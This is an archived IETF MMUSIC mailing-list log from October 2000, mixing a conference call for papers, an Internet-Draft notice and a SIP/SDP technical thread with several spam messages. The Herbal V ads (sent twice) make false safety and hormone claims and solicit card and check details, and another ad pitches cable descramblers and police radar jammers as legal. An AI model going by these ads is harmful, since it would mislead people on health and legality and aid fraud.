 R. Steinmetz         Technical University of Darmstadt
 H. Stüttgen          NEC CCRLE
 W. Wimmreuter        Siemens
 L. Wolf              University of Karlsruhe
 A. Wolisz            Technical University of Berlin
 M. Zitterbart        Technical University of Braunschweig 

Submission Instructions 
-----------------------
Authors are invited to submit full papers written in English 
before November 27th, 2000. The submissions will be reviewed, and
accepted papers will be included in the program. Notifications of
acceptance will be sent out on January 12th, 2000. Deadline for 
submission of camera-ready copies is January 31st, 2001. Authors 
of accepted papers will need to sign a Copyright Transfer Form and
submit a Netbib entry. 

Papers must be submitted electronically using the Web site at
          http://www.cs.columbia.edu/iptel
Submissions must be in PDF or Postscript; any other documents 
cannot be accepted. Postscript papers must use only standard 
PostScript fonts: Times Roman, Courier, Symbol, and Helvetica. 
Papers must be formatted according to the IEEE Transactions format
except for the font size, which MUST be 11pt. Templates are 
available at the Web site
          http://www.fokus.gmd.de/events/iptel2001/cfp/ 
Because of the size limitation on the final manuscript, and to 
ensure that the reviewed paper and the final version have a 
similar size, papers with more than 11 pages cannot be reviewed.
Submissions must include: title, authors, affiliation, abstract, 
list of keywords, and contact information. One of the authors of 
each accepted paper must present the paper at iptel'2001. 

Contact Address
---------------
Please, send all your inquiries regarding iptel2001 to 
               iptel2001@egroups.com.

From confctrl-owner  Tue Oct  3 03:49:40 2000
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id DAA12993
	for confctrl-outgoing; Tue, 3 Oct 2000 03:49:40 -0700 (PDT)
Received: from gamma.isi.edu (gamma.isi.edu [128.9.144.145])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id DAA12983
	for <confctrl@zephyr.isi.edu>; Tue, 3 Oct 2000 03:49:36 -0700 (PDT)
Received: from ietf.org (odin.ietf.org [132.151.1.176])
	by gamma.isi.edu (8.9.3/8.9.3) with ESMTP id DAA29764
	for <confctrl@isi.edu>; Tue, 3 Oct 2000 03:49:45 -0700 (PDT)
Received: from CNRI.Reston.VA.US (localhost [127.0.0.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id GAA05433;
	Tue, 3 Oct 2000 06:49:43 -0400 (EDT)
Message-Id: <200010031049.GAA05433@ietf.org>
Mime-Version: 1.0
Content-Type: Multipart/Mixed; Boundary="NextPart"
To: IETF-Announce: ;
Cc: confctrl@ISI.EDU
From: Internet-Drafts@ietf.org
Reply-to: Internet-Drafts@ietf.org
Subject: I-D ACTION:draft-ietf-mmusic-sdp-atm-01.txt
Date: Tue, 03 Oct 2000 06:49:43 -0400
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

--NextPart

A New Internet-Draft is available from the on-line Internet-Drafts directories.
This draft is a work item of the Multiparty Multimedia Session Control Working Group of the IETF.

	Title		: Conventions for the use of the Session Description 
                          Protocol (SDP)for ATM Bearer Connections
	Author(s)	: R. Kumar, M. Mostafa
	Filename	: draft-ietf-mmusic-sdp-atm-01.txt
	Pages		: 69
	Date		: 02-Oct-00
	
This document describes conventions for using the Session Description
Protocol (SDP) described in RFC2327  [1] for controlling ATM Bearer
Connections, and any associated ATM Adaptation Layer (AAL). The AALs
addressed are Type 1, Type 2 and Type 5. This list of conventions is
meant to be exhaustive. Individual applications can use subsets of
these conventions. Further, these conventions are meant to comply
strictly with the SDP syntax as defined in rfc2327.

A URL for this Internet-Draft is:
http://www.ietf.org/internet-drafts/draft-ietf-mmusic-sdp-atm-01.txt

Internet-Drafts are also available by anonymous FTP. Login with the username
"anonymous" and a password of your e-mail address. After logging in,
type "cd internet-drafts" and then
	"get draft-ietf-mmusic-sdp-atm-01.txt".

A list of Internet-Drafts directories can be found in
http://www.ietf.org/shadow.html 
or ftp://ftp.ietf.org/ietf/1shadow-sites.txt


Internet-Drafts can also be obtained by e-mail.

Send a message to:
	mailserv@ietf.org.
In the body type:
	"FILE /internet-drafts/draft-ietf-mmusic-sdp-atm-01.txt".
	
NOTE:	The mail server at ietf.org can return the document in
	MIME-encoded form by using the "mpack" utility.  To use this
	feature, insert the command "ENCODING mime" before the "FILE"
	command.  To decode the response(s), you will need "munpack" or
	a MIME-compliant mail reader.  Different MIME-compliant mail readers
	exhibit different behavior, especially when dealing with
	"multipart" MIME messages (i.e. documents which have been split
	up into multiple messages), so check your local documentation on
	how to manipulate these messages.
		
		
Below is the data which will enable a MIME compliant mail reader
implementation to automatically retrieve the ASCII version of the
Internet-Draft.

--NextPart
Content-Type: Multipart/Alternative; Boundary="OtherAccess"

--OtherAccess
Content-Type: Message/External-body;
	access-type="mail-server";
	server="mailserv@ietf.org"

Content-Type: text/plain
Content-ID:	<20001002120629.I-D@ietf.org>

ENCODING mime
FILE /internet-drafts/draft-ietf-mmusic-sdp-atm-01.txt

--OtherAccess
Content-Type: Message/External-body;
	name="draft-ietf-mmusic-sdp-atm-01.txt";
	site="ftp.ietf.org";
	access-type="anon-ftp";
	directory="internet-drafts"

Content-Type: text/plain
Content-ID:	<20001002120629.I-D@ietf.org>

--OtherAccess--

--NextPart--



From confctrl-owner  Wed Oct  4 14:55:27 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id OAA28140
	for confctrl-outgoing; Wed, 4 Oct 2000 14:55:27 -0700 (PDT)
Received: from venera.isi.edu (venera.isi.edu [128.9.176.32])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id OAA28121
	for <confctrl@zephyr.isi.edu>; Wed, 4 Oct 2000 14:55:22 -0700 (PDT)
Received: from hotbot.com (sdn-ar-002flflauP142.dialsprint.net [168.191.76.206])
	by venera.isi.edu (8.9.3/8.9.3) with SMTP id OAA23810;
	Wed, 4 Oct 2000 14:53:10 -0700 (PDT)
From: HerbalV994@hotbot.com
Subject: At last, Herbal V the all natural alternative is available!
Date: Wed, 4 Oct 2000 17:49:14
Message-Id: <240.741581.241927@unknown>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


Herbal V: An Incredible All-Natural Healthy Alternative to Viagra 


  Herbal V is the All Natural Approach to Male Virility,
  Vitality and Pleasure.



Available N o w ! 


Welcome to the New Sexual Revolution.

It's the all natural male potency and pleasure pill that men 
everywhere are buzzing about. Herbal V is safe, natural and
specifically formulated to help support male sexual function
and pleasure. You just take two easy-to-swallow tablets
one hour before sex. And there's more great news - you can
get Herbal V for less than $1 a pill.

Amazing word of mouth praise on Herbal V has been spreading 
like wildfire-already over 1,500,000 men  have chosen
Herbal V. Since it is 100% natural you will never have
to worry about safety. Try doctor-recommended Herbal V
today and have the greatest night of your life!


Herbal V... Bringing Back the Magic!


1,585,000 men can't be wrong. To date over 1 million men 
have tried the super supplement Herbal V.
Here is why: 

No Doctor Visit Required 
Available Over the Counter 
Not a Drug 
100% Natural 
Safe, No Worries 
Highest Quality Pharmaceutical-Grade Pure Nutriceuticals 
Guaranteed Potency & Purity 

Be a Real Man Again!

Questions and Answers

What is Herbal V?

Herbal V is a proprietary blend that was specifically
developed as a safe alternative for men who prefer
an all-natural approach to address impotence and boost
sexual performance. This amazing formula first became
popular with Hollywood insiders and the wealthy elite.
They were maximizing their sex lives, long before it 
was available to the general public. 

How does Herbal V work?

Developed by a team whose goal was to create the perfect 
all-natural aphrodisiac. Herbal V is the result of that
remarkable effort. The Herbal V formula contains a precise
blend of cutting edge pro-sexual nutrients from around
the world that provide nutritional support, making it
possible for a man to have a pleasurable sexual experience. 

What can Herbal V do for me?

Herbal V helps support male sexual function and 
pleasure in a safe and natural manner. Simply put, 
it can make your sex life incredible. 

Is Herbal V Safe?

One of the great things about Herbal V is that it is
not a drug. It is an incredible herbal dietary supplement
that provides nutritional support for male sexual function
and pleasure. One of the most comforting features of
Herbal V is that you never have to worry about safety. 

Herbal V: Safe - Natural - Exciting

Many have speculated that because Herbal V is so
popular with men, it must contain prescription drugs
or chemical components. Herbal V does not contain any 
elements or traces of any prescription drug. Herbal V 
is made using the world's most technologically advanced
state-of-the-art cold processing equipment to ensure
maximum purity. Herbal V has been independently analyzed
by the nation's premier testing facility to ensure purity,
quality and to end the rumors that, because it is so
popular, it must somehow be chemical. It is not.
Herbal V is natural - just as it says on the label.
Herbal V is simply fantastic! 

Herbal V: Ingredients

Yohimbe, saw palmetto, avena sativa, androstenedione,
guarana, taurine, siberian ginseng, tribulus terrestris. 
Tribulus Terrestis is certified to enhanced testosterone
levels by increasing Luteinzing hormone (LH) levels. 
Androstenedione which is a precursor to testosterone
unlocks bound testosterone and makes it biologically
active again quickly. This means a dramatic surge in 
desire. Avena Sativa Stimulates the neurotransmitter 
pleasure centers to maximum capacity. This greatly
intensifies pleasure.

Just listen to what Herbal V has done for the sex lives
of people like you!

“On a scale of 1 to 10, it's a 15. Electrifying. It's like 
a wonder pill!” 
— Justin Q B., New Haven, Texas

“I haven't had sexual relations in 11 years. Then with 
Herbal V it was... wow! It works again!” 
— Sid R., Lakeland, Florida

“I had sex four times in one night. It made me feel
like a 19-year-old again.” 
— Chip S, Beech Mountain, North Carolina

“Herbal V has turned my husband into a Sexual Superman! 
I like the fact that it's all natural and has no
side effects. It's bringing back the good old days.” 
— Jennifer B, Beverly Hills, California 

The above testimonials are from product literature, 
and we have not independently verified them.
However, the following testimonial is from a "senior"
gentleman who has purchased his second bottle of
Herbal V. When we heard his words with our own ears,
we asked his permission to print them here. 

 “Man! I'm wild as I can be! I feel like I'm 25 years old again! 
I'm not believing this!” 
                          — Mr. Murphy, age 64, Lampart, IL.



Risk Free: Double Your Money Back Guarantee

If Herbal V does not give the desired results as stated
above, simply return the unused portion for a
double-your money back refund. No questions asked ! 

Order Now: Safe, Fast, Secure, Private

Herbal V with its DOUBLE YOUR MONEY BACK GUARANTEE is
available only through this special promotional offer.
Herbal V arrives in plain packaging for your privacy.
Any and all information is kept strictly confidential.

Payment Methods

You may FAX or Postal Mail Checks, MasterCard, Visa,
& American Express.payments. Money Orders
are accepted only by Postal Mail. 


Each bottle of Herbal V contains 30 tablets, approximately
a 1 month supply.


Step 1: Place a check by your desired quanity.


______ 1 Bottle of Herbal V  $24


______ 2 Bottles of Herbal V $44


______ 3 Bottles of Herbal V $59


Please add $6 shipping and handling for any size order. 
[ Total cost including shipping & handling, 
1 bottle=$30, 2 bottles=$50, 3 bottles=$65 ]

International Orders
Please add $16 shipping and handling for any size order.
[ Total cost including shipping & handling,
1 bottle=$40, 2 bottles=$60, 3 bottles=$75 ]

Step 2: Place a check by your desired payment method 
and complete fields if necessary.


_____Check or CHECK-BY-FAX [details below]


_____Money Order 


_____American Express 
Account Number__________________ Exp____/____

_____Visa
Account Number__________________ Exp____/____

_____MasterCard
Account Number__________________ Exp____/____


Please make your check or money order payable to
"Lion Sciences National".
 
Charges will appear discreetly as "Lion S National".

Step 3: Please complete and print the following fields clearly.


Name ___________________________________________________ 


Address _________________________________________________


City ____________________________________________________ 


State ___________________________________________________ 


Zip _____________________________________________________ 


E-mail __________________________________________________ 


Signature _________________________________________________
[ required for check and credit card orders]



             Toll Free FAX Order Line: 1-800-940-6590
If faxing in your order, please state whether you require
a fax, email, or no confirmation at all. 
Allow up to one day for confirmation, if requested.
FAX orders are processed immediately.

  Or, print & mail to: LSN   
                       3502 N. Powerline Rd. #525 
                       Pompano Beach, FL 33069                


        ______________________________________________________


*CHECK BY FAX ORDERS: Complete the check as normal. Tape
the check in the area below. Below the check, clearly write
the check number, all numbers at the bottom of the check,
& your name. Tape the check below and fax the check to the
toll free FAX number above. Void the check. Our merchant
will electronically debit your account for the amount of 
the check; your reference number for this transaction will
be your check number. Nothing could be safer & easier !

                          TAPE CHECK BELOW















              _____________________________________________________________

This is a one time mailing: Removal is automatic and no further 
contact is necessary. Please Note: Herbal V is not intended to
diagnose, treat, cure or prevent any disease. As individuals differ,
so will results. Herbal V helps provide herbal and nutritional support
for male sexual performance. The FDA has not evaluated these 
statements. For details about our double your money back guarantee,
please write to the above address, attention consumer affairs 
department; enclose a self addressed stamped envelope for this and any 
requested contact information.
Thank You.

From confctrl-owner  Sat Oct  7 07:30:33 2000
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id HAA13611
	for confctrl-outgoing; Sat, 7 Oct 2000 07:30:33 -0700 (PDT)
Received: from gamma.isi.edu (gamma.isi.edu [128.9.144.145])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id HAA13606
	for <confctrl@zephyr.isi.edu>; Sat, 7 Oct 2000 07:30:32 -0700 (PDT)
Received: from tropical.co.cr ([63.160.71.196])
	by gamma.isi.edu (8.9.3/8.9.3) with ESMTP id HAA00025
	for <confctrl@isi.edu>; Sat, 7 Oct 2000 07:30:40 -0700 (PDT)
From: 63426672@yahoo.com
Received: from tropical.co.cr [63.178.136.109] by tropical.co.cr
  (SMTPD32-6.00 EVAL) id A3A239013C; Tue, 03 Oct 2000 20:19:14 -0600
Received: from tv@yahoo.com by info@excite.com (8.8.5/8.6.5) with SMTP id GAA09654 for <cable@yahoo.com>; Wed, 04 Oct 2000 09:31:00 -0600 (EST)
Date: Wed, 04 Oct 00 09:31:00 EST
To: cable@yahoo.com
Subject: cable services
Message-ID: <>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

> > NOTE: THIS IS AN ADVERTISEMENT FOR LEGAL TV
> > DE-SCRAMBLER.  IF YOU HAVE NO INTEREST IN THIS
> > INFORMATION PLEASE CLICK DELETE NOW. THANK YOU--
> >
> > LEGAL CABLE TV DE-SCRAMBLER
> > Want to watch Sporting Events?--Movies?--Pay-Per-View??
> > You can assemble from electronic store parts for about $12.00.
> > We Send You:
> > E-Z To follow Assembly Instructions.
> > E-Z To read Original Drawings.
> > Electronic parts lists.
> > PLUS SOMETHING NEW YOU MUST HAVE!
> > Something you can't do without.
> > THE UP-TO-DATE REPORT: USING A DESCRAMBLER LEGALLY
> > Warning: You should not build a TV Descrambler without
> > reading this report first.
> > Frequently Asked Questions--CABLE TV DESCRAMBLER
> > Q: Will the descrambler work on Fiber, TCI, Jarrod
> > A: The answer is YES.
> > Q: Do I need a converter box?
> > A: This plan works with or without a converter box.
> > Specific instructions are included in the plans for each!
> > Q: Can the cable company detect that I have the descrambler?
> > A: No, the signal descrambles right at the box and does
> > not move back through the line!
> > Q: Do I have to alter my existing cable system,
> > television or VCR?
> > A: The answer is no!
> > Q: Does this work with my remote control?
> > A: The answer is yes. The descrambler is
> > manually controlled--but very easy to use!
> > Q: Can you email me the plans?
> > A: No the program comes with an easy to follow picture guide.
> > Q: Does this work everywhere across the country?
> > A: Yes, every where in the USA plus England,
> > Brazil, Canada and other countries!
> > Q: Is this deal guaranteed?
> > A: Yes, if you are unhappy for any reason we will refund your money.
> > Q: When I order, when will I get my stuff?
> > A: We mail out all orders within 48 hours of receiving them.
> > ORDER INFORMATION
> > ACT WITHIN THE NEXT 14 DAYS AND RECEIVE TWO FREE BONUS!!
> > THE CABLE MANUAL! This manual contains hard to find information your
> > cable company does not want you to know. Also receive The RADAR
> > JAMMER PLANS! Never get another speeding ticket. Build you own
> > radar jammer, this unit will jam police radar so they can't get a
reading
> on
> > your vechicle. Radar jammers are legal in 48 states. It is simple to
> build.
> > The FREE BONUSES ALONE ARE WORTH ACTING NOW!
> > THE CABLE DESCRAMBLER KIT COMES WITH A THIRTY DAY
> > MONEY BACK GUARANTEE! IF YOUR NOT COMPLETELY SATISFIED,
> > SEND THE CABLE DESCRAMBLER KIT BACK AND YOU KEEP
> > THE BONUSES FOR FREE. YOU HAVE NOTHING TO LOSE
> > ONLY FREE CABLE TV TO GAIN! ACT NOW! SIMPLY SEND
> > $14.00 CHECK OR, MONEY ORDER.
> > INFORMATION TO:
> >
> > NET SERVICES
> > PO BOX 42013
> > URBANDALE, IA 50322
> >
> > 
> >
> > THIS INFORMATION IS SOLD FOR EDUCATIONAL PURPOSES ONLY!
> > This mailing is done by an independent marketing co.
> > We apologize if this message has reached you in error.
> > Save the Planet, Save the Trees! Advertise
> > via E mail. No wasted paper! Delete with
> > one simple keystroke! Less refuse in our Dumps!
> > This is the new way of new millenium!
> >  If you would like to be removed move233@dcemail.com
>
>
>




From confctrl-owner  Sun Oct  8 02:52:26 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id CAA14264
	for confctrl-outgoing; Sun, 8 Oct 2000 02:52:26 -0700 (PDT)
Received: from gamma.isi.edu (gamma.isi.edu [128.9.144.145])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id CAA14259
	for <confctrl@zephyr.isi.edu>; Sun, 8 Oct 2000 02:52:25 -0700 (PDT)
Received: from Shark (dyn234-ras3.screaming.net [212.49.226.234])
	by gamma.isi.edu (8.9.3/8.9.3) with SMTP id CAA18595
	for <confctrl@isi.edu>; Sun, 8 Oct 2000 02:52:34 -0700 (PDT)
Message-Id: <200010080952.CAA18595@gamma.isi.edu>
From: "gerry" <gerrarduffy@hotmail.com>
To: <confctrl@ISI.EDU>
Subject: Make a Solid Income on the Web
Mime-Version: 1.0
Content-Type: text/plain; charset="iso-8859-1"
Date: Sun, 8 Oct 2000 10:54:43
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Dear Friend

You'll love this

Imagine your website having thousands... even million 
of visitors every week.

Would that help you earn more money?

Then get the latest tactics to pull in visitors to your 
website like a giant magnet.

Download Superior Marketing Tools & Tactics 
Software... It's 100% FREE!

You will discover how to reach 10 Million people for just 
ten dollars per million.

A step-by-step, easy to follow, directions on how to pull 
over 1000 people per day to your website FREE... (you 
won't 
spend a dime in advertising costs).

You'll learn how to backdoor your way into the 3 best 
search engines... these search engines are 
responsible for 89% 
of all search engine traffic.

You'll get a tool to determine what keywords you 
should use BEFORE you submit your website so you'll 
get the most 
visitors to your website once your listing appears.

You'll get an instant Meta-tag tool to get a higher 
ranking in the search engines.

Our secret to maximize your profits... something most 
people would never know about.

What Ezine's are best to advertise in to get the most 
from your advertising dollars.

Viral advertising tactics that most people never thought 
of.

How to use free incentives as a lead generator.

$195.00 worth of secret reports and how to use them to 
attract visitors to your website by the truckloads.
And More!

For the Web address, mailto: 
mailto:gerrard@oorhame.worldonline.co.uk

I will send the Web Address by return and you can 
enjoy the free software!

Sincerely,

Gerry
mailto:gerrard@oorhame.worldonline.co.uk
 
This is a one time e-mail transmission. No request for 
removal is necessary.


From confctrl-owner  Sun Oct  8 08:45:42 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id IAA24239
	for confctrl-outgoing; Sun, 8 Oct 2000 08:45:42 -0700 (PDT)
Received: from gamma.isi.edu (gamma.isi.edu [128.9.144.145])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id IAA24234
	for <confctrl@zephyr.isi.edu>; Sun, 8 Oct 2000 08:45:41 -0700 (PDT)
Received: from bossway.com ([202.103.190.174])
	by gamma.isi.edu (8.9.3/8.9.3) with ESMTP id IAA08559
	for <confctrl@isi.edu>; Sun, 8 Oct 2000 08:45:51 -0700 (PDT)
From: rsb@docsj.de
Received: from pavilion ([206.214.131.49]) by bossway.com with Microsoft SMTPSVC(5.0.2172.1);
	 Sun, 8 Oct 2000 23:52:28 +0800
To: rsb@docsj.de
Subject: At last, HERBAL V the all natural alternative!
Message-ID: <BOSSWAYlPju8qMxAwlI00000c1a@bossway.com>
X-OriginalArrivalTime: 08 Oct 2000 15:52:29.0046 (UTC) FILETIME=[C2FD6160:01C0313F]
Date: 8 Oct 2000 23:52:29 +0800
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


Herbal V: An Incredible All-Natural Healthy Alternative 


  Herbal V is the All Natural Approach to Male Virility,
  Vitality and Pleasure.



Available N o w ! 


Welcome to the New Sexual Revolution.

It's the all natural male potency and pleasure pill that men 
everywhere are buzzing about. Herbal V is safe, natural and
specifically formulated to help support male sexual function
and pleasure. You just take two easy-to-swallow tablets
one hour before sex. And there's more great news - you can
get Herbal V for less than $1 a pill.

Amazing word of mouth praise on Herbal V has been spreading 
like wildfire-already over 1,500,000 men  have chosen
Herbal V. Since it is 100% natural you will never have
to worry about safety. Try doctor-recommended Herbal V
today and have the greatest night of your life!


Herbal V... Bringing Back the Magic!


1,585,000 men can't be wrong. To date over 1 million men 
have tried the super supplement Herbal V.
Here is why: 

No Doctor Visit Required 
Available Over the Counter 
Not a Drug 
100% Natural 
Safe, No Worries 
Highest Quality Pharmaceutical-Grade Pure Nutriceuticals 
Guaranteed Potency & Purity 

Be a Real Man Again!

Questions and Answers

What is Herbal V?

Herbal V is a proprietary blend that was specifically
developed as a safe alternative for men who prefer
an all-natural approach to address impotence and boost
sexual performance. This amazing formula first became
popular with Hollywood insiders and the wealthy elite.
They were maximizing their sex lives, long before it 
was available to the general public. 

How does Herbal V work?

Developed by a team whose goal was to create the perfect 
all-natural aphrodisiac. Herbal V is the result of that
remarkable effort. The Herbal V formula contains a precise
blend of cutting edge pro-sexual nutrients from around
the world that provide nutritional support, making it
possible for a man to have a pleasurable sexual experience. 

What can Herbal V do for me?

Herbal V helps support male sexual function and 
pleasure in a safe and natural manner. Simply put, 
it can make your sex life incredible. 

Is Herbal V Safe?

One of the great things about Herbal V is that it is
not a drug. It is an incredible herbal dietary supplement
that provides nutritional support for male sexual function
and pleasure. One of the most comforting features of
Herbal V is that you never have to worry about safety. 

Herbal V: Safe - Natural - Exciting

Many have speculated that because Herbal V is so
popular with men, it must contain prescription drugs
or chemical components. Herbal V does not contain any 
elements or traces of any prescription drug. Herbal V 
is made using the world's most technologically advanced
state-of-the-art cold processing equipment to ensure
maximum purity. Herbal V has been independently analyzed
by the nation's premier testing facility to ensure purity,
quality and to end the rumors that, because it is so
popular, it must somehow be chemical. It is not.
Herbal V is natural - just as it says on the label.
Herbal V is simply fantastic! 

Herbal V: Ingredients

Yohimbe, saw palmetto, avena sativa, androstenedione,
guarana, taurine, siberian ginseng, tribulus terrestris. 
Tribulus Terrestis is certified to enhanced testosterone
levels by increasing Luteinzing hormone (LH) levels. 
Androstenedione which is a precursor to testosterone
unlocks bound testosterone and makes it biologically
active again quickly. This means a dramatic surge in 
desire. Avena Sativa Stimulates the neurotransmitter 
pleasure centers to maximum capacity. This greatly
intensifies pleasure.

Just listen to what Herbal V has done for the sex lives
of people like you!

“On a scale of 1 to 10, it's a 15. Electrifying. It's like 
a wonder pill!” 
— Justin Q B., New Haven, Texas

“I haven't had sexual relations in 11 years. Then with 
Herbal V it was... wow! It works again!” 
— Sid R., Lakeland, Florida

“I had sex four times in one night. It made me feel
like a 19-year-old again.” 
— Chip S, Beech Mountain, North Carolina

“Herbal V has turned my husband into a Sexual Superman! 
I like the fact that it's all natural and has no
side effects. It's bringing back the good old days.” 
— Jennifer B, Beverly Hills, California 

The above testimonials are from product literature, 
and we have not independently verified them.
However, the following testimonial is from a "senior"
gentleman who has purchased his second bottle of
Herbal V. When we heard his words with our own ears,
we asked his permission to print them here. 

 “Man! I'm wild as I can be! I feel like I'm 25 years old again! 
I'm not believing this!” 
                          — Mr. Murphy, age 64, Lampart, IL.



Risk Free: Double Your Money Back Guarantee

If Herbal V does not give the desired results as stated
above, simply return the unused portion for a
double-your money back refund. No questions asked ! 

Order Now: Safe, Fast, Secure, Private

Herbal V with its DOUBLE YOUR MONEY BACK GUARANTEE is
available only through this special promotional offer.
Herbal V arrives in plain packaging for your privacy.
Any and all information is kept strictly confidential.

Payment Methods

You may FAX or Postal Mail Checks, MasterCard, Visa,
& American Express.payments. Money Orders
are accepted only by Postal Mail. 


Each bottle of Herbal V contains 30 tablets, approximately
a 1 month supply.


Step 1: Place a check by your desired quanity.


______ 1 Bottle of Herbal V  $24


______ 2 Bottles of Herbal V $44


______ 3 Bottles of Herbal V $59


Please add $6 shipping and handling for any size order. 
[ Total cost including shipping & handling, 
1 bottle=$30, 2 bottles=$50, 3 bottles=$65 ]

International Orders
Please add $16 shipping and handling for any size order.
[ Total cost including shipping & handling,
1 bottle=$40, 2 bottles=$60, 3 bottles=$75 ]

Step 2: Place a check by your desired payment method 
and complete fields if necessary.


_____Check or CHECK-BY-FAX [details below]


_____Money Order 


_____American Express 
Account Number__________________ Exp____/____

_____Visa
Account Number__________________ Exp____/____

_____MasterCard
Account Number__________________ Exp____/____


Please make your check or money order payable to
"Lion Sciences National".
 

Step 3: Please complete and print the following fields clearly.


Name ___________________________________________________ 


Address _________________________________________________


City ____________________________________________________ 


State ___________________________________________________ 


Zip _____________________________________________________ 


E-mail __________________________________________________ 


Signature _________________________________________________
[ required for check and credit card orders]



             Toll Free FAX Order Line: 1-800-940-6590
If faxing in your order, please state whether you require
a fax, email, or no confirmation at all. 
Allow up to one day for confirmation, if requested.
FAX orders are processed immediately.

  Or, print & mail to: LSN   
                       3502 N. Powerline Rd. #525 
                       Pompano Beach, FL 33069                


        ______________________________________________________


*CHECK BY FAX ORDERS: Complete the check as normal. Tape
the check in the area below. Below the check, clearly write
the check number, all numbers at the bottom of the check,
& your name. Tape the check below and fax the check to the
toll free FAX number above. Void the check. Our merchant
will electronically debit your account for the amount of 
the check; your reference number for this transaction will
be your check number. Nothing could be safer & easier !

                          TAPE CHECK BELOW















              _____________________________________________________________

This is a one time mailing: Removal is automatic and no further 
contact is necessary. Please Note: Herbal V is not intended to
diagnose, treat, cure or prevent any disease. As individuals differ,
so will results. Herbal V helps provide herbal and nutritional support
for male sexual performance. The FDA has not evaluated these 
statements. For details about our double your money back guarantee,
please write to the above address, attention consumer affairs 
department; enclose a self addressed stamped envelope for this and any 
requested contact information.
Thank You.

From confctrl-owner  Mon Oct  9 01:05:43 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id BAA23356
	for confctrl-outgoing; Mon, 9 Oct 2000 01:05:43 -0700 (PDT)
Received: from gamma.isi.edu (gamma.isi.edu [128.9.144.145])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id BAA23351
	for <confctrl@zephyr.isi.edu>; Mon, 9 Oct 2000 01:05:42 -0700 (PDT)
Received: from penguin-ext.wise.edt.ericsson.se (penguin-ext.wise.edt.ericsson.se [194.237.142.110])
	by gamma.isi.edu (8.9.3/8.9.3) with ESMTP id BAA23123
	for <confctrl@ISI.EDU>; Mon, 9 Oct 2000 01:05:52 -0700 (PDT)
Received: from fogerty.lmf.ericsson.se (fogerty.lmf.ericsson.se [131.160.11.6])
	by penguin.wise.edt.ericsson.se (8.11.0/8.10.1/WIREfire-1.3) with ESMTP id e9985jZ21714;
	Mon, 9 Oct 2000 10:05:45 +0200 (MEST)
Received: from lmf.ericsson.se (E005004B57CE1.lmf.ericsson.se [131.160.30.148])
	by fogerty.lmf.ericsson.se (8.9.3+Sun/8.9.3) with ESMTP id LAA04605;
	Mon, 9 Oct 2000 11:05:44 +0300 (EET DST)
Message-ID: <39E17C56.35D50F99@lmf.ericsson.se>
Date: Mon, 09 Oct 2000 11:05:42 +0300
From: Gonzalo Camarillo <Gonzalo.Camarillo@lmf.ericsson.se>
Organization: Oy L M Ericsson Ab
X-Mailer: Mozilla 4.61 [en] (WinNT; I)
X-Accept-Language: en
MIME-Version: 1.0
To: "Culpepper, Bert" <bert.culpepper@intervoice-brite.com>
CC: Rohan Mahy <rohan@cisco.com>, Jonathan Rosenberg <jdrosen@dynamicsoft.com>,
        sip@lists.bell-labs.com, Henning Schulzrinne <hgs@cs.columbia.edu>,
        mmusic <confctrl@ISI.EDU>
Subject: Re: [SIP] draft-camarillo-sip-sdp-00.txt
References: <DBD1CC7CE357D211AECC009027158FD1033B976F@itmail-ict1-imc.wichi>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Hi,

I have gathered some feedback on the draft
draft-camarillo-sip-sdp-00.txt
The general feeling in the SIP and MMUSIC WGs is that this is certainly
a useful mechanism.

However, there are some concerns about the actual format to be used and
the problems that some RTP implementation might have if an RTP flow is
sent to different port numbers.

A possible solution to the format to be used is already outlined in the
draft in section 7. "Backward compatibility".

I will check what people in the Audio/Video Transport (avt) WG
<rem-conf@es.net> think about this.

Regards,

Gonzalo

"Culpepper, Bert" wrote:
> 
> Hi,
> 
> I'm not writing to present a problem with this proposal but to state a need
> for it?
> 
> For a specific case not mentioned in the draft.  A "3rd-party call agent"
> may need to be able to receive tones and also have them be presented to the
> 2nd party.  Tone transport is defined by RFC2833, it recommends that
> gateways remove the tones from the audio media.
> 
> So..., I'd like an endpoint to understand the following media description in
> a session description.
> 
> m=audio 10010 RTP/AVP 4
> c=IN IP4 111.2.30.4
> a=rtpmap:4 G723/8000
> m=audio 10020 RTP/AVP 97
> c=IN IP4 111.2.30.4
> a=rtpmap:97 telephone-event
> a=fmtp:97 0-15
> m=audio 20000 RTP/AVP 97
> c=IN IP4 111.2.31.10
> a=rtpmap:97 telephone-event
> a=fmtp:97 0-15,16
> 
> (In this case one "c" line can be used in the session description instead of
> how it's shown.)
> 
> Nothing I read in RFC 2543 (SIP) and RFC 2327 (SDP) indicates the above is
> not allowed.  This is not a standards issue but I wonder how many endpoints
> (gateways included) will support sending the two media types to the
> different destinations as indicated above.  If in SIP the above session
> description doesn't result in three "media streams" being sent to the
> indicated host/port, media replication (which may not be present in an
> endpoint) will require a specific resource in the network.
> 
> Is the use of the flow ID attribute required to achieve the above?  Am I
> incorrect in what I think should result from the above session description
> in SIP?
> 
> The ID does seem to encourage endpoint support for media replication to
> different hosts and ports which I'd like to see as standard functionality in
> some endpoints & environments.
> 
> Regards,
> Bert
> 
> _______________________________________________
> SIP mailing list
> SIP@lists.bell-labs.com
> http://lists.bell-labs.com/mailman/listinfo/sip

-- 
